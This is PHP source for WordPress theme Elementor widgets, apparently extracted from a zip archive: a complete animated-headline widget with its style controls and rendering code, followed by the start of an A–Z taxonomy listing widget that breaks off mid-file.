use Elementor\Repeater;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class PenciAnimatedHeadline extends Base_Widget {

	public function get_name() {
		return 'penci-animated-headline';
	}

	public function get_title() {
		return esc_html__( 'Penci Animated Headline', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-animated-headline';
	}

	public function get_keywords() {
		return [ 'headline', 'heading', 'animation', 'title', 'text' ];
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	protected function register_controls() {
		$this->start_controls_section(
			'text_elements',
			[
				'label' => esc_html__( 'Headline', 'soledad' ),
			]
		);

		$this->add_control(
			'text_style',
			array(
				'label'   => __( 'Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'rotating',
				'options' => array(
					'none'        => __( 'None', 'soledad' ),
					'highlighted' => __( 'Highlighted', 'soledad' ),
					'rotating'    => __( 'Rotating', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'text_shape',
			array(
				'label'     => __( 'Shape', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'circle',
				'options'   => array(
					'circle'           => __( 'Circle', 'soledad' ),
					'curly'            => __( 'Curly', 'soledad' ),
					'underline'        => __( 'Underline', 'soledad' ),
					'double'           => __( 'Double', 'soledad' ),
					'double-underline' => __( 'Double Underline', 'soledad' ),
					'underline-zigzag' => __( 'Underline Zigzag', 'soledad' ),
					'diagonal'         => __( 'Diagonal', 'soledad' ),
					'strikethrough'    => __( 'Strikethrough', 'soledad' ),
					'x'                => __( 'X', 'soledad' ),
					'check'            => __( 'Check', 'soledad' ),
					'pan'              => __( 'Pan', 'soledad' ),
					'click'            => __( 'Click', 'soledad' ),
					'heart'            => __( 'Heart', 'soledad' ),
					'bolt'             => __( 'Bolt', 'soledad' ),
					'sparkle'          => __( 'Sparkle', 'soledad' ),
					'line'             => __( 'Line', 'soledad' ),
					'line-1'           => __( 'Line 1', 'soledad' ),
					'line-2'           => __( 'Line 2', 'soledad' ),
					'underline-1'      => __( 'Underline 1', 'soledad' ),
					'underline-2'      => __( 'Underline 2', 'soledad' ),
				),
				'condition' => [ 'text_style' => 'highlighted' ]
			)
		);

		$this->add_responsive_control(
			'highlight_width',
			array(
				'label'     => __( 'Shape Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [ 'size' => 8 ],
				'range'     => array(
					'px' => array(
						'min'  => 0,
						'max'  => 50,
						'step' => 1,
					),
				),
				'condition' => [ 'text_style' => 'highlighted' ],
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text svg path' => 'stroke-width:{{SIZE}}px' ],
			)
		);

		$this->add_control(
			'highlight_animation_duration',
			array(
				'label'       => __( 'Animation Duration', 'soledad' ),
				'description' => __( 'Enter the value in second(s)', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => [ 'size' => 10 ],
				'range'       => array(
					'px' => array(
						'min'  => 0,
						'max'  => 20,
						'step' => 0.1,
					),
				),
				'condition'   => [ 'text_style' => 'highlighted' ],
				'selectors'   => array(
					'{{WRAPPER}} .penci-animated-headline .penci-animated-text svg path' => '-moz-animation-duration: {{SIZE}}s; -webkit-animation-duration: {{SIZE}}s; -o-animation-duration: {{SIZE}}s; -ms-animation-duration: {{SIZE}}s; animation-duration: {{SIZE}}s;',
				),
			)
		);

		$this->add_control(
			'highlight_animation_delay',
			array(
				'label'       => __( 'Animation Delay', 'soledad' ),
				'description' => __( 'Enter the value in second(s)', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => [ 'size' => 3 ],
				'range'       => array(
					'px' => array(
						'min'  => 0,
						'max'  => 20,
						'step' => 0.1,
					),
				),
				'condition'   => [ 'text_style' => 'highlighted' ],
				'selectors'   => array(
					'{{WRAPPER}} .penci-animated-headline .penci-animated-text svg path' => '-moz-animation-delay: {{SIZE}}s; -webkit-animation-delay: {{SIZE}}s; -o-animation-delay: {{SIZE}}s; -ms-animation-delay: {{SIZE}}s; animation-delay: {{SIZE}}s;',
				),
			)
		);

		$this->add_control(
			'text_rotating',
			array(
				'label'     => __( 'Rotating', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'typing',
				'options'   => array(
					'typing'      => __( 'Typing', 'soledad' ),
					'clip'        => __( 'Clip', 'soledad' ),
					'flip'        => __( 'Flip', 'soledad' ),
					'swirl'       => __( 'Swirl', 'soledad' ),
					'blinds'      => __( 'Blinds', 'soledad' ),
					'bounce'      => __( 'Bounce', 'soledad' ),
					'swing'       => __( 'Swing', 'soledad' ),
					'rubber-band' => __( 'Rubber Band', 'soledad' ),
					'drop-in'     => __( 'Drop In', 'soledad' ),
					'wave'        => __( 'Wave', 'soledad' ),
					'slide-left'  => __( 'Slide Left', 'soledad' ),
					'slide-right' => __( 'Slide Right', 'soledad' ),
					'slide-up'    => __( 'Slide Up', 'soledad' ),
					'slide-down'  => __( 'Slide Down', 'soledad' ),
				),
				'condition' => [ 'text_style' => 'rotating' ]
			)
		);

		$this->add_control(
			'text_letter_speed',
			array(
				'label'      => __( 'Letters Speed Rotate', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'default'    => [ 'size' => 100 ],
				'range'      => array(
					'px' => array(
						'min'  => 0,
						'max'  => 5000,
						'step' => 1,
					),
				),
				'conditions' => array(
					'relation' => 'AND',
					'terms'    => [
						[
							'name'     => 'text_style',
							'operator' => '=',
							'value'    => 'rotating'
						],
						[
							'name'     => 'text_rotating',
							'operator' => 'in',
							'value'    => array( 'typing', 'swirl', 'blinds', 'wave' ),
						],
					]
				)
			)
		);

		$this->add_control(
			'text_delay_change',
			array(
				'label'     => __( 'Delay on Change Words', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [ 'size' => 2500 ],
				'range'     => array(
					'px' => array(
						'min'  => 0,
						'max'  => 5000,
						'step' => 1,
					),
				),
				'condition' => [ 'text_style' => 'rotating' ]
			)
		);

		$this->add_control(
			'text_clip_duration',
			array(
				'label'      => __( 'Clip Duration', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'default'    => [ 'size' => 2000 ],
				'range'      => array(
					'px' => array(
						'min'  => 0,
						'max'  => 5000,
						'step' => 1,
					),
				),
				'conditions' => array(
					'relation' => 'AND',
					'terms'    => [
						[
							'name'     => 'text_style',
							'operator' => '=',
							'value'    => 'rotating'
						],
						[
							'name'     => 'text_rotating',
							'operator' => '=',
							'value'    => 'clip',
						],
					]
				)
			)
		);

		$this->add_control(
			'text_delay_delete',
			array(
				'label'      => __( 'Delay on Delete Letters', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'default'    => [ 'size' => 500 ],
				'range'      => array(
					'px' => array(
						'min'  => 0,
						'max'  => 5000,
						'step' => 1,
					),
				),
				'conditions' => array(
					'relation' => 'AND',
					'terms'    => [
						[
							'name'     => 'text_style',
							'operator' => '=',
							'value'    => 'rotating'
						],
						[
							'name'     => 'text_rotating',
							'operator' => '=',
							'value'    => 'typing',
						],
					]
				)
			)
		);

		$this->add_control(
			'text_before',
			array(
				'label'   => __( 'Before Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => 'This is ',
			)
		);

		$this->add_control(
			'text_animated',
			array(
				'label'     => __( 'Animated Text', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => ' animate ',
				'condition' => [ 'text_style!' => 'rotating' ]
			)
		);

		$this->add_control(
			'text_after',
			array(
				'label'   => __( 'After Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => ' text',
			)
		);

		$this->add_control(
			'text_link',
			array(
				'label' => __( 'Link', 'soledad' ),
				'type'  => Controls_Manager::URL,
			)
		);

		$this->add_control(
			'text_html_tag',
			array(
				'label'   => __( 'HTML Tag', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'p',
				'options' => array(
					'h1'   => 'H1',
					'h2'   => 'H2',
					'h3'   => 'H3',
					'h4'   => 'H4',
					'h5'   => 'H5',
					'h6'   => 'H6',
					'div'  => 'div',
					'span' => 'span',
					'p'    => 'p',
				),
			)
		);

		$this->add_control(
			'text_alignment',
			array(
				'label'     => __( 'Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'default'   => 'center',
				'options'   => array(
					'left'   => array(
						'title' => __( 'Left', 'elementor' ),
						'icon'  => 'eicon-text-align-left'
					),
					'center' => array(
						'title' => __( 'Center', 'elementor' ),
						'icon'  => 'eicon-text-align-center'
					),
					'right'  => array(
						'title' => __( 'Right', 'elementor' ),
						'icon'  => 'eicon-text-align-right'
					),
				),
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline' => 'text-align:{{VALUE}}' ]
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'text_rotating_list_heading', array(
				'label'     => esc_html__( 'Rotating Text', 'soledad' ),
				'tab'       => Controls_Manager::TAB_CONTENT,
				'condition' => [ 'text_style' => 'rotating' ]
			)
		);

		$repeater = new Repeater();

		$repeater->add_control(
			'text_rotating_list_item',
			array(
				'label' => __( 'Rotating Text', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			)
		);

		$this->add_control(
			'text_rotating_list', array(
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => array(
					array(
						'text_rotating_list_item' => __( 'Animate', 'soledad' ),
					),
					array(
						'text_rotating_list_item' => __( 'Beauty', 'soledad' ),
					),
					array(
						'text_rotating_list_item' => __( 'Effects', 'soledad' ),
					),
				),
				'title_field' => '{{{ text_rotating_list_item }}}',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'normal_text_style_heading', array(
				'label' => esc_html__( 'Normal Text', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'text_normal_typography',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-animated-headline .penci-animated-text .normal-text',
			)
		);

		$this->add_control(
			'text_normal_color_style',
			array(
				'label'   => __( 'Normal Color Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'color',
				'options' => array(
					'color'    => __( 'Color', 'soledad' ),
					'gradient' => __( 'Gradient', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'text_normal_color',
			array(
				'label'     => __( 'Normal Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [ 'text_normal_color_style' => 'color' ],
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text .normal-text' => 'color:{{VALUE}}' ],
			)
		);

		$this->add_control(
			'text_normal_hcolor',
			array(
				'label'     => __( 'Normal Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [ 'text_normal_color_style' => 'color' ],
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .normal-text' => 'color:{{VALUE}}' ],
			)
		);

		$this->add_control(
			'text_normal_gradient_heading',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'condition' => [ 'text_normal_color_style' => 'gradient' ],
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'      => 'text_normal_gradient',
				'label'     => __( 'Text Gradient Color', 'soledad' ),
				'types'     => array( 'gradient' ),
				'selector'  => '{{WRAPPER}} .penci-animated-headline .penci-animated-text .normal-text',
				'condition' => [ 'text_normal_color_style' => 'gradient' ],

			)
		);

		$this->add_control(
			'text_normal_hgradient_heading',
			array(
				'label'     => __( 'Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'condition' => [ 'text_normal_color_style' => 'gradient' ],
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'      => 'text_normal_hgradient',
				'label'     => __( 'Text Gradient Hover Color', 'soledad' ),
				'types'     => array( 'gradient' ),
				'selector'  => '{{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .normal-text',
				'condition' => [ 'text_normal_color_style' => 'gradient' ],

			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'ani_text_style_heading', array(
				'label' => esc_html__( 'Animated Text', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'text_ani_typography',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-text',
			)
		);

		$this->add_control(
			'text_animated_margin',
			array(
				'label'    => __( 'Animated Text Margin', 'soledad' ),
				'type'     => Controls_Manager::DIMENSIONS,
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-text' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'],
			)
		);
		
		$this->add_control(
			'text_animated_spacing',
			array(
				'label'    => __( 'Animated Text Padding', 'soledad' ),
				'type'     => Controls_Manager::DIMENSIONS,
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-text' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'],
			)
		);
		
		$this->add_control(
			'text_animated_color_style',
			array(
				'label'   => __( 'Animated Text Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'gradient',
				'options' => array(
					'color'    => __( 'Color', 'soledad' ),
					'gradient' => __( 'Gradient', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'text_ani_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [ 'text_animated_color_style' => 'color' ],
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-wrapper.style-color .dynamic-text' => 'color:{{VALUE}}' ],
			)
		);

		$this->add_control(
			'text_animated_hover_color',
			array(
				'label'     => __( 'Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [ 'text_animated_color_style' => 'color' ],
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .dynamic-wrapper.style-color .dynamic-text' => 'color:{{VALUE}}' ],
			)
		);

		$this->add_control(
			'text_animated_normal_gradient_heading',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'condition' => [ 'text_animated_color_style' => 'gradient' ],
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .dynamic-wrapper.style-color .dynamic-text' => 'color:{{VALUE}}' ],
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'      => 'text_animated_normal_gradient',
				'label'     => __( 'Text Gradient Color', 'soledad' ),
				'types'     => array( 'gradient' ),
				'selector'  => '{{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-wrapper.style-gradient:not(.typing-delete) .dynamic-text, {{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-wrapper.style-gradient:not(.typing-delete) .dynamic-text .dynamic-text-letter',
				'condition' => [ 'text_animated_color_style' => 'gradient' ],

			)
		);

		$this->add_control(
			'text_animated_normal_hgradient_heading',
			array(
				'label'     => __( 'Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'condition' => [ 'text_animated_color_style' => 'gradient' ],
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .dynamic-wrapper.style-color .dynamic-text' => 'color:{{VALUE}}' ],
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'      => 'text_animated_hover_gradient',
				'label'     => __( 'Text Hover Gradient Color', 'soledad' ),
				'types'     => array( 'gradient' ),
				'selector'  => '{{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .dynamic-wrapper.style-gradient:not(.typing-delete) .dynamic-text, {{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .dynamic-wrapper.style-gradient:not(.typing-delete) .dynamic-text .dynamic-text-letter',
				'condition' => [ 'text_animated_color_style' => 'gradient' ],

			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'highlight_style_heading', array(
				'label'     => esc_html__( 'Highlight', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [ 'text_style' => 'highlighted' ]
			)
		);

		$this->add_control(
			'highlight_color_style',
			array(
				'label'   => __( 'Animated Color Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'color',
				'options' => array(
					'color'    => __( 'Color', 'soledad' ),
					'gradient' => __( 'Gradient', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'highlight_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text svg path.style-color' => 'stroke:{{VALUE}}' ],
				'condition' => [ 'highlight_color_style' => 'color' ]
			)
		);

		$this->add_control(
			'highlight_gradient_color1',
			array(
				'label'     => __( 'Gradient Color 1', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text svg linearGradient stop:nth-of-type(1)' => 'stop-color:{{VALUE}}' ],
				'condition' => [ 'highlight_color_style' => 'gradient' ]
			)
		);

		$this->add_control(
			'highlight_gradient_color2',
			array(
				'label'     => __( 'Gradient Color 2', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text svg linearGradient stop:nth-of-type(2)' => 'stop-color:{{VALUE}}' ],
				'condition' => [ 'highlight_color_style' => 'gradient' ]
			)
		);

		$this->add_control(
			'highlight_rounded',
			array(
				'label'     => __( 'Rounded Edges', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array(
					'{{WRAPPER}} .penci-animated-headline .penci-animated-text svg path' => 'stroke-linecap: round; stroke-linejoin: round',
				)
			)
		);

		$this->add_control(
			'highlight_front',
			array(
				'label'     => __( 'Override to Text', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array(
					'{{WRAPPER}} .penci-animated-headline .penci-animated-text svg'           => 'z-index: 2',
					'{{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-text' => 'z-index: auto',
				)
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'cursor_style_heading', array(
				'label'      => esc_html__( 'Typing', 'soledad' ),
				'tab'        => Controls_Manager::TAB_STYLE,
				'conditions' => array(
					'relation' => 'AND',
					'terms'    => [
						[
							'name'     => 'text_style',
							'operator' => '=',
							'value'    => 'rotating'
						],
						[
							'name'     => 'text_rotating',
							'operator' => '=',
							'value'    => 'typing',
						],
					]
				)
			)
		);

		$this->add_control(
			'cursor_color',
			array(
				'label'     => __( 'Cursor Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper:after' => 'background-color:{{VALUE}}' ],
			)
		);

		$this->add_control(
			'typing_delete_color',
			array(
				'label'     => __( 'Delete Block Font Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.typing-delete .dynamic-text .dynamic-text-letter' => 'color:{{VALUE}}' ],
			)
		);

		$this->add_control(
			'typing_background',
			array(
				'label'     => __( 'Delete Block Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.typing-delete' => 'background-color:{{VALUE}}' ],
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'cursor_clip_heading', array(
				'label'      => esc_html__( 'Clip', 'soledad' ),
				'tab'        => Controls_Manager::TAB_STYLE,
				'conditions' => array(
					'relation' => 'AND',
					'terms'    => [
						[
							'name'     => 'text_style',
							'operator' => '=',
							'value'    => 'rotating'
						],
						[
							'name'     => 'text_rotating',
							'operator' => '=',
							'value'    => 'clip',
						],
					]
				)
			)
		);

		$this->add_control(
			'clip_width',
			array(
				'label'     => __( 'Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [ 'size' => 10 ],
				'range'     => array(
					'px' => array(
						'min'  => 0,
						'max'  => 20,
						'step' => 0.1,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=clip] .penci-animated-text .dynamic-wrapper:after' => 'width: {{SIZE}}px;',
				),
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'        => 'clip_background',
				'label'       => __( 'Clip Color', 'soledad' ),
				'types'       => array( 'classic', 'gradient' ),
				'selector'    => '{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=clip] .penci-animated-text .dynamic-wrapper:after',
				'label_block' => true,
				'separator'   => 'before'
			)
		);

		$this->end_controls_section();

	}

	protected function render() {
		$settings            = $this->get_settings_for_display();
		$tag                 = esc_attr( $settings['text_html_tag'] );
		$normal_color_style  = esc_attr( $settings['text_normal_color_style'] );
		$dynamic_color_style = esc_attr( $settings['text_animated_color_style'] );
		$style               = $settings['text_style'];
		$link                = '';

		wp_enqueue_script( 'penci-animate-headline' );

		if ( isset( $settings['text_link']['url'] ) && ! empty( $settings['text_link']['url'] ) ) {
			$this->add_render_attribute( 'text_link', 'href', $settings['text_link']['url'] );
			$this->add_render_attribute( 'text_link', 'class', 'pc-textlink' );
			if ( isset( $settings['text_link']['is_external'] ) && ! empty( $settings['text_link']['is_external'] ) ) {
				$this->add_render_attribute( 'text_link', 'target', '_blank' );
			}
			if ( isset( $settings['text_link']['nofollow'] ) && $settings['text_link']['nofollow'] ) {
				$this->add_render_attribute( 'text_link', 'rel', 'nofollow' );
			}
			$link = '<a ' . $this->get_render_attribute_string( 'text_link' ) . '></a>';
		}

		if ( 'rotating' === $style ) {
			$text   = array();
			$lists  = $settings['text_rotating_list'];
			$rotate = $settings['text_rotating'];
			$delay  = $settings['text_delay_change']['size'];

			foreach ( $lists as $list ) {
				array_push( $text, $list['text_rotating_list_item'] );
			}

			$text    = implode( ',', $text );
			$options = array(
				'style'  => esc_attr( $style ),
				'text'   => esc_attr( $text ),
				'rotate' => esc_attr( $rotate ),
				'delay'  => esc_attr( $delay ),
			);

			if ( in_array( $rotate, array( 'typing', 'swirl', 'blinds', 'wave' ), true ) ) {
				$options['letter-speed'] = esc_attr( $settings['text_letter_speed']['size'] );
			}

			if ( 'clip' === $rotate ) {
				$options['clip-duration'] = esc_attr( $settings['text_clip_duration']['size'] );
			}

			if ( 'typing' === $rotate ) {
				$options['delay-delete'] = esc_attr( $settings['text_delay_delete']['size'] );
			}
		} elseif ( 'highlighted' === $style ) {
			$options = array(
				'style' => esc_attr( $style ),
				'text'  => esc_attr( $settings['text_animated'] ),
				'shape' => esc_attr( $settings['text_shape'] ),
			);
		} else {
			$options = array( 'style' => esc_attr( $style ) );
		}

		foreach ( $options as $option => $value ) {
			$this->add_render_attribute( 'headline', 'data-' . $option, $value );
		}

		$this->add_render_attribute( 'headline', 'class', 'penci-animated-headline' );

		$text = '<' . $tag . ' class="penci-animated-text">';

		$inner_text = '<span class="normal-text style-' . $normal_color_style . '">' . esc_attr( $settings['text_before'] ) . '</span>';

		if ( 'rotating' === $style ) {
			$inner_text = $inner_text . '<span class="dynamic-wrapper style-' . $dynamic_color_style . '">' . $this->render_rotating_list( $settings['text_rotating_list'], $settings['text_rotating'] ) . '</span>';
		} elseif ( 'highlighted' === $style ) {
			$inner_text = $inner_text . '<span class="dynamic-wrapper style-' . $dynamic_color_style . '"><span class="dynamic-text">' . esc_attr( $settings['text_animated'] ) . '</span>' . penci_animated_heading_stroke( $settings['text_shape'], $settings['highlight_color_style'] ) . '</span>';
		} else {
			$inner_text = $inner_text . '<span class="dynamic-wrapper style-' . $dynamic_color_style . '"><span class="dynamic-text">' . esc_attr( $settings['text_animated'] ) . '</span></span>';
		}

		$inner_text = $inner_text . '<span class="normal-text style-' . $normal_color_style . '">' . esc_attr( $settings['text_after'] ) . '</span>';

		$text .= $inner_text;

		$text .= '</' . $tag . '>';

		echo '<div ' . $this->get_render_attribute_string( 'headline' ) . '>' . $text . $link . '</div>';
	}

	private function render_rotating_list( $lists, $rotate_style ) {
		$text_list = '';

		if ( in_array( $rotate_style, array( 'typing', 'swirl', 'blinds', 'wave' ), true ) ) {
			foreach ( $lists as $list ) {
				$text_string = $list['text_rotating_list_item'];
				$text_length = mb_strlen( $text_string, 'UTF-8' );
				$text_list   = $text_list . '<span class="dynamic-text">';

				for ( $i = 0; $i < $text_length; $i ++ ) {
					$text_list = $text_list . '<span class="dynamic-text-letter">' . mb_substr( $text_string, $i, 1, 'UTF-8' ) . '</span>';
				}

				$text_list = $text_list . '</span>';
			}
		} else {
			foreach ( $lists as $list ) {
				$text_list = $text_list . '<span class="dynamic-text">' . $list['text_rotating_list_item'] . '</span>';
			}
		}

		return $text_list;
	}
}
PK     N\>2  2  :  inc/elementor/modules/penci-az-taxonomy-listing/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciAzTaxonomyListing;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-az-taxonomy-listing';
	}

	public function get_widgets() {
		return array( 'PenciAzTaxonomyListing' );
	}
}
PK     N\y4  4  U  inc/elementor/modules/penci-az-taxonomy-listing/widgets/penci-az-taxonomy-listing.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAzTaxonomyListing\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciAzTaxonomyListing extends Base_Widget {

	public function get_name() {
		return 'penci-az-taxonomy-listing';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' ABC Categories Listing', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'category', 'post' );
	}

	public function get_script_depends() {
		return [ 'penci-abc-scroll' ];
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_general', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$post_taxonomies = get_object_taxonomies( 'post' );
		$post_tax        = [];
		$post_tax['']    = 'Select';
		foreach ( $post_taxonomies as $tname ) {
			$labels             = get_taxonomy( $tname );
			$post_tax[ $tname ] = $labels->label;
		}

		foreach ( penci_get_published_posttypes() as $type ) {

			$type_data = get_object_taxonomies( $type );
			if ( is_array( $type_data ) ) {
				foreach ( $type_data as $type_name ) {
					$labels                 = get_taxonomy( $type_name );
					$post_tax[ $type_name ] = $labels->label;
				}
			}
		}

		$this->add_control( 'term_name', [
			'label'   => 'Taxonomies',
			'type'    => \Elementor\Controls_Manager::SELECT,
			'options' => $post_tax,
			'default' => 'category',
		] );

		$this->add_control( 'taxonomies_ex', [
			'label'       => esc_html__( 'Select the Excluded Taxonomies Terms.', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => get_object_taxonomies( 'post' ),
			'multiple'    => true,
			'label_block' => true,
		] );

		$this->add_control( 'orderby', [
			'label'   => esc_html__( 'Order By', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'name',
			'options' => [
				'name'       => 'Name',
				'slug'       => 'Slug',
				'term_id'    => 'ID',
				'term_order' => 'Term Order',
				'count'      => 'Posts Count',
			],
		] );

		$this->add_control( 'order', [
			'label'   => esc_html__( 'Order', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'ASC',
			'options' => [
				'DESC' => 'DESC',
				'ASC'  => 'ASC',
			],
		] );

		$this->add_control( 'hide_empty', array(
			'label'        => __( 'Hide Empty Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );
		
		$this->add_control( 'show_head', array(
			'label'        => __( 'Show Heading Link', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => 'yes',
		) );
		
		$this->add_control( 'show_head_style', array(
			'label'   => __( 'Heading Link Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => array(
				'style-1'  		=> esc_html__( 'Style 1', 'soledad' ),
				'style-2' 		=> esc_html__( 'Style 2', 'soledad' ),
			),
			'condition' => [
				'show_head' => 'yes',
			],
		) );
		
		$this->add_control( 'show_count', array(
			'label'        => __( 'Show Post Count', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_responsive_control( 'columns', array(
			'label'   => __( 'Columns', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '3',
			'options' => array(
				'1' => esc_html__( '1 Column', 'soledad' ),
